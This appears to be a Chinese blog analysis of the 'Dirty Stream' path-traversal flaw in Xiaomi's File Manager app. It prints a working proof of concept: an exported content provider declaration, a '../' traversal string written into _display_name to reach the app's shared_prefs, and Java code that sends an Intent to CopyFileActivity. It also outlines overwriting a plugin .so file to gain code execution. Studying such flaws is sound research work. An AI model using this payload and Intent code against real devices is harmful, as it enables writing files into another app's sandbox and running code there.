分析dirty-stream漏洞

选择:2023年03月06 应用V1-210567版本

对标文章内容

结论:漏洞利用前置要求比较高,需要在手机上安装App并且要提供content provide组件,这个App的数据库里还必须写上穿越路径,之后发送Intent调起小米文件管理器,需要手动点击粘贴才行。

漏洞是能代码执行,但是不实用。

Detail:

漏洞成因是xiaomi读取我提供的content provide(不懂的自己去查)的 "_display_name"字段 没有过滤 "../"导致可以拼接穿越路径。

补丁前后对比:

主要函数

补丁前:

补丁后:

利用:

创建攻击者App并提供Content Provide组件,是为了让xiaomi App读攻击者提供的带"../"的字符串内容。

攻击App的Manifest.xml配置如下:

    <provider
            android:name=".MyContentProvider2"
            android:authorities="com.hx.exploit2"
            android:enabled="true"
            android:exported="true"></provider>
        <provider

然后创建数据库并写入三个字段 'size','display_name','_data'.

其中display_name是可控的路径,攻击者向这个字段写入如下内容:

../../../../../../../../../../../data/data/com.mi.android.globalFileexplorer/shared_prefs/hx.txt

漏洞成功执行会在xiaomi App沙箱中的shared_prefs目录下创建hx.txt文件。

要写入的文件是攻击者App使用intent传递的。

       Uri uri = Uri.parse("content://com.hx.exploit/exploit.txt");	// 这里提供写入的文件路径
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.mi.android.globalFileexplorer","com.android.fileexplorer.activity.CopyFileActivity"));
                intent.putExtra("from_private",true);
                intent.putExtra("inner_call",true);
                intent.putExtra("explorer_path","content://com.hx.exploit/exploit.txt");
                intent.setData(uri);
                intent.setAction("android.intent.action.SEND");
                startActivity(intent);

攻击者App使用这个Intent发送给xiaomi App。xiaomi App会解析Intent中的Uri内容并访问注册名为com.hx.exploit的content provide 组件(攻击者App) ,使用openFileDescriptor()函数读取文件内容。攻击者App重载实现了openFile()函数,这样达到了写入内容可控。有了路径穿越就可以写xiaomi App沙箱内任意文件。

攻击者App在assets资源目录下创建exploit.txt为要写入的文件内容。当执行到openFile函数时攻击者App把exploit.txt转存至自己的沙箱目录中并将文件句柄返回给xiaomi App。

攻击者App主动发送Intent给xiaomi App使它执行到文件拷贝的Activity页面,点击粘贴按钮完成路径穿越写入。

跳转至xiaomi App

 

文章中说覆写垃圾清理插件的so,可达到任意代码执行效果。先修改com.mi.android.globalFileexplorer_preferences.xml文件中的libixiaomifileu.so_hm5字段,然后将攻击者的so文件写入。

插件路径


[1] “Dirty stream” attack: Discovering and mitigating a common vulnerability pattern in Android apps | Microsoft Security Blog 

  • 16
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值